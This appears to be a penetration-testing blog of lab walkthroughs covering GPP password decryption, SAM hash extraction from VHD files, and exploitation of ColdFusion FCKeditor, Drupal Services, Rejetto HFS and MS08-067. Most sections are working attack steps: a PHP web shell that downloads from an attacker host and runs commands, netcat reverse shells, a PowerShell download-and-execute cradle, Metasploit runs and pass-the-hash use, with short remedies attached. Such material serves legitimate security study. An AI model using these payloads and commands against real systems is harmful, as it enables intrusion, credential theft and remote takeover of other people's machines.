Exploiting GPP SYSVOL (Groups.xml)

Group Policy Preferences (GPP) was introduced in Windows Server 2008, and among many other

features, allowed administrators to modify users and groups across their network.

Group Policy Preferences is a collection of Group Policy client-side extensions that deliver preference settings to domain-joined computers running Microsoft Windows desktop and server operating systems. Preference settings are administrative configuration choices deployed to desktops and servers. Preference settings differ from policy settings because users have a choice to alter the administrative configuration. Policy settings administratively enforce setting, which restricts user choice.

Prerequisite Fundamentals

Group Policy

Group Policy is a management technology included in Windows Server that enables you to secure computer and user settings.

SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. SYSVOL contains logon scripts, group policy data, and other domain-wide data which needs to be available anywhere there is a Domain Controller (since SYSVOL is automatically synchronized and shared among all Domain Controllers).

Group Policy object (GPO)

A Group Policy object (GPO) is a logical object composed of two components, a Group Policy container and a Group Policy template. Windows stores both of these objects on domain controllers in the domain. The Group Policy container object is stored in the domain partition of Active Directory.

Group Policy template

The Group Policy template is a collection of files and folders stored on the system volume (SYSVOL) of each domain controller in the domain. Windows copies the container and template to all domain controllers in a domain.

Source (https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v=ws.11))

All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

Groups.xml are found in the following directory \\IP-Address-of-the-DC\sysvol\NAME\Policies any domain user can access this directory, once you get creds go to it than do a search for groups.xml The important sections in the groups.xml file are the username and cpassword

  • userName=”Administrator”
  • cpassword=”DemoHashab+5T4cr1H4gFZvD9OWzDEMO23ab5abpL6D124″

The defined password was AES-256 encrypted and stored in Groups.xml. However, at some point in 2012 Microsoft published the AES key on MSDN, meaning that passwords set using GPP are now trivial to crack.

In this scenario we found a copy of SYSVOL in a share. We will mount the share find Groups.xml, extract the password, then, crack it

Inspect the share

1. Since we found a copy of sysvol in a share we will search for Groups.xml. First, list the shares then access the desired one

  • smbclient -L //10.10.10.100
  • smbclient //10.10.10.100/Replication

2. Set the following parameters

  • RECURSE ON
  • PROMPT OFF

3. Inspect the share

  • ls
  • cd active.htb
  • ls
  • cd Policies
  • ls

4. Now download all the files.

  • mget *

5. A new folder, named as the level you ran mget, will be created in your local computer

  • cd active.htb
  • find . -iname Groups.xml 2> /dev/null

6. Read the file and find name (user) & cpassword (password)

  • cat ./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

7. In our case

name="active.htb\SVC_TGS"

cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

8. Now the password needs to be cracked.

Cracking GPP using gpp-decrypt

1. Using the tool gpp-decrypt we can reverse the encryption/hashing of GPP passwords

  • gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

2. So as per Groups xml and the result of gpp-decrypt we can say we have the following

  • Domain user: active.htb\SVC_TGS
  • Password: GPPstillStandingStrong2k18

Best Practices

XML Permission Denied Checks

  • Place a new xml file in SYSVOL & set Everyone:Deny.
  • Audit Access Denied errors.
  • Sing the associated GPO doesn’t exist, there’s no legitimate reason for access.

 

Group Policy Preference Exploitation Mitigation:

  • Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
  • Delete existing GPP xml files in SYSVOL containing passwords.

 

Mount & Extract Password Hashes From VHD Files

A VHD file contains a virtual hard disk image used by Microsoft Windows Virtual PC, a Windows virtualization program. It stores the contents of a hard disk of a virtual machine (VM), which may include disk partitions, a file system, files, and folders. VHD files may be used to install multiple operating systems on a single computer, test software programs, or run older applications.

You may come across VHD files that are not stored properly. This could be open on an exposed NFS or SMB share, or it could even be from a backup file that you exfiltrated.

Virtual Hard Disk (VHD) files are typically used to backup data stored on a hard-disk partition. As such, data on a .vhd file is very interesting to penetration testers since it may contain valuable information.

View and Extract

1. Using 7-Zip, you can view the contents of a VHD file.

  • ls
  • 7z l 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd

2. To extract the contents, you can also use 7-zip.

  • 7z x file.vhd

Mounting a VHD on Linux

To mount a VHD on Linux, you can use Guest Mount,

1. First step is to install the tool

  • sudo apt install libguestfs-tools -y

2. Create a directory that we’ll use to mount the VHD file

  • sudo mkdir /mnt/vhd
  • ls -ld /mnt/vhd

3. we’ll use guestmount to mount the directory in read-only (ro) mode, and, use the previous folder created (/mnt/vhd)

  • guestmount --add file.vhd --inspector --ro -v /mnt/vhd
  • sudo guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro -v /mnt/vhd

NOTE: This takes a while to complete, so, be patient

4. Once, the process completes, you can access the folder where it was mounted (/mnt/vhd) and see all the OS data. Note that I ran the command as sudo, so, only root can access the data

  • cd /mnt/vhd
  • sudo su -
  • cd /mnt/vhd
  • ls

5. We can try to list interesting user directories

  • cd Users
  • cd <user>
  • find Desktop Documents Downloads -ls

Extracting Local SAM Database from VHD Files

1. Once the VHD is mounted, you may be able to grab the files that make up the SAM database so you can crack it offline.

  • cd /Windows/System32/config
  • cp SAM SYSTEM /tmp

Note: You may also want to grab nts.dit if you’re on a domain controller so you can crack all of the AD hashes.

2. Go to the local directory that you copied those files into and use secretsdump to extract the hashes.

  • cd /tmp
  • impacket-secretsdump -sam SAM -system SYSTEM local

3. You can test these hashes using SMB and see if the user has any elevated access

  • smbmap -u L4mpje -p aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9 -H 10.10.10.134

 

ColdFusion 8 FCKeditor CurrentFolder directory traversal / File Upload / RCE – CVE-2009-2265

Multiple vendor applications that utilize FCKeditor could allow a remote attacker to traverse directories on the system and upload arbitrary files. A remote attacker could exploit this vulnerability using directory traversal sequences in the CurrentFolder parameter to several connector modules to view arbitrary files or upload malicous executable files on the system.

Affected Products

  • FCKeditor FCKeditor 2.2
  • FCKeditor FCKeditor 2.0
  • FCKeditor FCKeditor 2.4.3
  • FCKeditor FCKeditor 2.3 beta
  • Fckeditor Fckeditor 2.0 FC
  • Fckeditor Fckeditor 2.0 Rc2
  • Fckeditor Fckeditor 2.0rc2
  • Fckeditor Fckeditor 2.0rc3
  • Fckeditor Fckeditor 2.6.4
  • Fckeditor Fckeditor 2.4.2
  • Fckeditor Fckeditor 2.6.3 Beta
  • Fckeditor Fckeditor 2.6.3
  • Fckeditor Fckeditor 2.6.2
  • Fckeditor Fckeditor 2.6.1
  • Fckeditor Fckeditor 2.6
  • Fckeditor Fckeditor 2.5.1
  • Fckeditor Fckeditor 2.5
  • Fckeditor Fckeditor 2.5 Beta
  • Fckeditor Fckeditor 2.4.1
  • Fckeditor Fckeditor 2.4
  • Fckeditor Fckeditor 2.3.3
  • Fckeditor Fckeditor 2.3.2
  • Fckeditor Fckeditor 2.3.1
  • Fckeditor Fckeditor 2.3
  • Fckeditor Fckeditor 2.1.1
  • Fckeditor Fckeditor 2.1
  • Fckeditor Fckeditor 2.6.4 Beta

Dependent Product

  • Adobe ColdFusion 8.0
  • Adobe ColdFusion 8.0.1
  • ClanSphere ClanSphere 2009.0
  • Debian Debian Linux 5.0

Exploitation (Metasploit)

1. First we can visit the log in page to find out what version of ColdFusion this is

Note. Here we see ColdFusion 8

2. Now, we can search for “ColdFusion 8” exploits using searchsploit

  • searchsploit coldfusion 8

3. We found an interesting one

  • ColdFusion 8.0.1 - Arbitrary File Upload / Execution (Metasploit)

4. We open Metasploit, and, search for a ColdFusion Module

  • msfconsole
  • search coldfusion
  • use exploit/windows/http/coldfusion_fckeditor

5. Now, we will see what options are available

  • show options

Note: Interesting options are RHOSTS, RPORT, LHOST, LPORT, PAYLOAD

6. We will now edit the required variables, and, run the exploit

  • set RHOST 10.10.10.11
  • set RPORT 8500
  • set LHOST 10.10.14.19
  • exploit

Note. We see the exploit executed but the file filed to upload.

7. We will send this traffic to a proxy to find out what is going on. I will use BurpSuite. I will redirect the traffic to this tool

  • set RHOST 127.0.0.1
  • set RPORT 8080

8. In BurpSuite, I edit the proxy to receive traffic on port 8080 and redirect it to 10.10.10.11:8500

  • Proxy - Options - Edit Listeners

9. Run the exploit again. In BurpSuite, we will see the request from our machine

10. Send it to Repeater, and, resent it. We get the same “Failed to upload” in Metasploit, however, based on the server response we get a 200 OK

11. The response indicates that the file has been uploaded to /userfiles/file directory, and, the filename is XXA.jsp

12. We now know that the file is getting uploaded. I will use Metasploit to start a listener (use the same payload and options as in the previous eploit) and then execute this file from the server from the web browser

  • use exploit/multi/handler
  • set payload generic/reverse_shell
  • set LHOST 10.10.14.19
  • exploit

13. Now that we have the listener started. We will execute the script from the server

  • http://10.10.10.11:8500/userfiles/file/XXA.jsp

14. Checking the listener we get the reverse shell

  • whoami

Remedy

For FCKeditor:

  • Upgrade to the latest version of FCKeditor (2.6.4.1 or later), available from the FCKeditor Web site.

For Knowledgeroot:

  • Upgrade to the latest version of Knowledgeroot (0.9.9.1 or later), available from the Knowledgeroot Web page.

For ClanSphere:

  • Upgrade to the latest version of ClanSphere (2009.0.2 or later), available from SourceForge.net: Files.

For Adobe ColdFusion:

  • Refer to APSB09-09 for patch, upgrade or suggested workaround information.

Resources

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265

https://exchange.xforce.ibmcloud.com/vulnerabilities/51569

https://www.rapid7.com/db/modules/exploit/windows/http/coldfusion_fckeditor/

Drupal 7.x Module Services – Remote Code Execution

Drupal has an insecure use of unserialize(). The exploitation of the vulnerability allowed for privilege escalation, SQL injection and, finally, remote code execution. (https://www.ambionics.io/blog/drupal-services-module-rce)

We will use Exploit db code to exploit this vulnerability. (https://www.exploit-db.com/exploits/41564)

Exploit

1. Determine the version of drupal. For this we can access CHANGELOG.txt from the browser, this is a drupal document

  • http://10.10.10.9/CHANGELOG.txt

Note: This is a 7.54 version.

2. We can use searchsploit to find any associated exploit

  • searchsploit drupal 7

3. We will now download that script into our /home/vry4n/Desktop directory

  • searchsploit -m php/webapps/41564.php

4. We will modify the code first, I highlighted the part we need to modify

  • vi 41564.php

5. First we will confirm that $endpoint_path exists by visiting the browser

  • http://10.10.10.9/rest_endpoint
  • 404 not found

  • http://10.10.10.9/rest
  • 200 OK (found)

6. We will edit as follows

$url = 'http://10.10.10.9';

$endpoint_path = '/rest';

$endpoint = 'rest_endpoint';

$file = [

    'filename' => 'test.php',

    'data' => '<?php echo "Vry4n was here!!"; ?>'

];

7. We may need to install php-curl

  • sudo apt-get install php-curl

ERROR we get before installing php-curl

8. Execute the script

  • php 41564.php

9. The code executed successfully and it is telling us to visit http://10.10.10.9/test.php

  • http://10.10.10.9/test.php

10. We got the file created, and, executed within the remote Drupal server

11. We will now create a file that is able to upload new files and execute commands. We will include the following code to our script 41564.php

$phpCode = <<<'EOD'

<?php

    if (isset($_REQUEST['fupload'])) {

        file_put_contents($_REQUEST['fupload'], file_get_contents("http://10.10.14.12:8888/" . $_REQUEST['fupload']));

    };

    if (isset($_REQUEST['fexec'])) {

        echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";

    };

?>

EOD;

$file = [

'filename' => 'vry4n.php',

'data' => $phpCode

];

  • vi 41564.php

12. Now we run the script again to upload the new file

  • php 41564.php

13. At this point the file vry4n.php has been uploaded, we can use 2 variables fupload & fexec. We will use first fexec to test basic commands

  • http://10.10.10.9/vry4n.php?fexec=dir

14. Now that we can execute commands, we can test fupload functionality. We will upload an image. First we need to start a web server and use the same settings as we wrote in the script

  • python3.9 -m http.server 8888

15. We need to now go to the browser, use the fupload variable

  • http://10.10.10.9/vry4n.php?fupload=vk9sec.jpg
  • http:// 10.10.10.9/vk9sec.jpg

16. We can now gather information about the system, before we execute any further instruction.

  • http://10.10.10.9/vry4n.php?fexec=systeminfo

Note: We got a x64 bit system, Microsoft Windows Server 2008 R2 Datacenter, without patches

17. We will now download a x64 netcat for Windows from https://eternallybored.org/misc/netcat/

  • unzip netcat-win32-1.11.zip
  • cd netcat-1.11 && ls
  • python3.9 -m http.server 8888

18. Now start a local listener

  • nc -lvp 7777

19. From the browser use fupload variable to upload netcat & fexec to execute it

  • http://10.10.10.9/vry4n.php?fupload=nc64.exe&fexec=nc64.exe -e cmd 10.10.14.12 7777

20. We see our web server 200 OK for the download of nc64.exe

21. Checking the listener, we should now see a reverse shell after execution

Remedy

Upgrade Drupal software version

HFS – Code execution – CVE-2014-6287

Rejetto HTTP File Server (HFS) search feature in versions 2.3, 2.3a, and 2.3b fails to handle null bytes.

HFS versions 2.3, 2.3a, and 2.3b are vulnerable to remote command execution due to a regular expression in parserLib.pas that fails to handle null bytes. Commands that follow a null byte in the search string are executed on the host system. As an example, the following search submitted to a vulnerable HFS instance launches calculator on the host Microsoft Windows system.

  • http://<vulnerable instance>/?search==%00{.exec|calc.}

Note that this vulnerability is being exploited in the wild. A Metasploit module has been released to exploit this vulnerability.

Affected Products

Rejetto HTTP File Server 2.3

Exploit (Manual)

1. Visit the Rejetto site

  • http://10.10.10.8/

2. Capture traffic with a web proxy. I’d be using BurpSuite

3. Try using the search bar, enter whatever comes to your mind, capture the traffic with the proxy.

  • http://10.10.10.8/?search=Vry4n

4. I’d right click and send this to repeater

5. We now capture the traffic we can see the following

  • it’s a GET request
  • We need to modify the value => /?search=Vry4n
  • Command injection =>/?search=%00{.exec|command.}

6. In BurpSuite Repeater tab we can alter the value of “search”. First I will test Powershell, I will use the default path and try to run a ping. This command must be URL encoded

PS 5.1: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PS 6.0: C:\Program Files\PowerShell\6.0.0\pwsh.exe

  • /?search=%00{.exec|C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ping 10.10.14.10.}
  • /?search=%00{.exec|C%3a\Windows\System32\WindowsPowerShell\v1.0\powershell.exe+ping+10.10.14.10.}

7. Before sending the command injection. In our host lets capture icmp incoming traffic

  • sudo tcpdump -i tun0 icmp

8. Now click on send in BurpSuite Repeater, and, if the command executed we should get traffic reaching our interface

9. We now that Powershell can be executed. Now, we will use a Powershell script to get a reverse connection. First download Nishang to get the Powershell script

  • git clone https://github.com/samratashok/nishang.git
  • cd nishang
  • ls -l

10. Within nishang go to Shells and edit “Invoke-PowerShellTcp.ps1”

  • cd Shells
  • vi Invoke-PowerShellTcp.ps1

Note: under examples we can see how this is used

11. Copy that and paste it to the end of the file

  • Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 5555

12. Now start in the local machine a python webserver, in the location of the script

  • python3.9 -m http.server 8888

13. Now start also a listener

  • nc -lvp 5555

14. From BurpSuite Repeater where we ran the ping command now lets, download and run from remote. Remember to URL encode

  • /?search=%00{.exec|C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex(new-object net.webclient).downloadString('http://10.10.14.10:8888/Invoke-PowerShellTcp.ps1').}
  • /?search=%00{.exec|C%3a\Windows\System32\WindowsPowerShell\v1.0\powershell.exe+iex(new-object+net.webclient).downloadString('http%3a//10.10.14.10%3a8888/Invoke-PowerShellTcp.ps1').}

15. After running this we should see a GET request in the python web server (port 8888), and, a reverse shell on the netcat listener (port 5555)

16. Run system commands within that shell

  • Whoami

Exploit (Metasploit)

1. Identify the service version using nmap

  • nmap -sV 10.10.10.8

2. Search for exploits on the internet for this version

Note: We found several exploits pointing to the same vulnerability. CVE-2014-6287 (https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/)

3. Metasploit actually has an exploit for this vulnerability

  • msfconsole
  • search rejetto
  • use exploit/windows/http/rejetto_hfs_exec

4. List the options available

  • show options

5. Set required parameters

  • set RHOST 10.10.10.8
  • set SRVHOST 10.10.14.10
  • set LHOST 10.10.14.10
  • exploit

6. Gather host info prior privilege escalation

  • sysinfo
  • shell
  • whoami

Exploitation (Script)

1. Using searchsploit we find some scripts related to this version of software

  • searchsploit hfs 2.3

2. I’ll use (https://www.exploit-db.com/exploits/39161) which is windows/remote/39161.py

  • searchsploit -m windows/remote/39161.py
  • ls -l 39161.py

3. Having the script ready, first we need to inspect it. The way it works is “python Exploit.py <Target IP address> <Target Port Number>”, but we also need to modify the local IP & port for a reverse shell.

  • vi 39161.py
  • ip_addr = “10.10.14.10”
  • local_port = “1234”

4. Now start a local listener on your Kali/Parrot machine, the port should match the one in the config file. 1234

  • sudo nc -lvp 1234

5. This script tries to upload netcat before the actual reverse command

  • Script instruction

  • Decoded instruction

6. Before we trigger this script. We need to locate netcat executable for windows and place it where the script is.

  • locate nc.exe
  • cp

7. Start a web server running on port 80

  • sudo python3.9 -m http.server 80

8. Now run the script.

  • python 39161.py 10.10.10.8 80

9. Check on the listener you should see a reverse shell

Remedy

Apply an update. This issue is addressed in HFS version 2.3c and later. https://www.rejetto.com/hfs/?f=dl

Resources

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287

https://exchange.xforce.ibmcloud.com/vulnerabilities/95950

https://packetstormsecurity.com/files/128243

https://www.exploit-db.com/exploits/34668

https://www.exploit-db.com/exploits/39161

Microsoft Windows – Code Execution (MS08-067) – CVE-2008-4250

Microsoft Windows Server Service could allow a remote attacker to execute arbitrary code on the system, caused by a vulnerability in the Remote Procedure Call (RPC) service. By sending specially-crafted RPC requests to a vulnerable system, a remote attacker could exploit this vulnerability to execute arbitrary code and gain complete control over the affected system. For Windows Vista and Windows Server 2008 the attacker must be an authenticated user with access to the target network in order to exploit this vulnerability.

Affected Products

  • Microsoft Windows 2000 SP4
  • Microsoft Windows 2003 Server x64
  • Microsoft Windows XP SP2
  • Microsoft Windows 2003 Server SP1
  • Microsoft Windows XP x64 Professional
  • Microsoft Windows 2003 Server SP1 Itanium
  • Microsoft Windows Vista
  • Microsoft Windows Server 2003 SP2
  • Microsoft Windows Server 2003 SP2 Itanium
  • Microsoft Windows Server 2003 SP2 x64
  • Microsoft Windows Vista x64
  • Microsoft Windows XP SP2 x64 Professional
  • Microsoft Windows Vista SP1
  • Microsoft Windows Vista SP1 x64
  • Microsoft Windows Server 2008 Itanium
  • Microsoft Windows Server 2008 x32
  • Microsoft Windows Server 2008 x64
  • Microsoft Windows XP SP3

Resources

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

https://nvd.nist.gov/vuln/detail/CVE-2008-4250

https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067

https://exchange.xforce.ibmcloud.com/vulnerabilities/46040

https://www.exploit-db.com/exploits/6824

Exploit

1. Check for SMB version using Metasploit

  • use auxiliary/scanner/smb/smb_version
  • show options
  • set RHOTST 10.10.10.4
  • exploit

Note: We got SMB version 1 and host running Windows XP SP3

2. We can also enumerate using Nmap

  • nmap -p 139,445 --script vuln 10.10.10.4 -Pn

3. In Metasploit looking for modules associated to CVE-2008-4250

  • search cve:2008-4250

4. We will execute that module (exploit/windows/smb/ms08_067_netapi). Remember to set the interface address that we will be listening on.

  • use exploit/windows/smb/ms08_067_netapi
  • show options
  • set RHOSTS 10.10.10.4
  • set LHOSTS 10.10.14.10
  • exploit

5. Once, the session has started we can gather info about the machine, current user and access CMD

  • sysinfo
  • getuid
  • shell

Remedy

Apply the appropriate patch for your system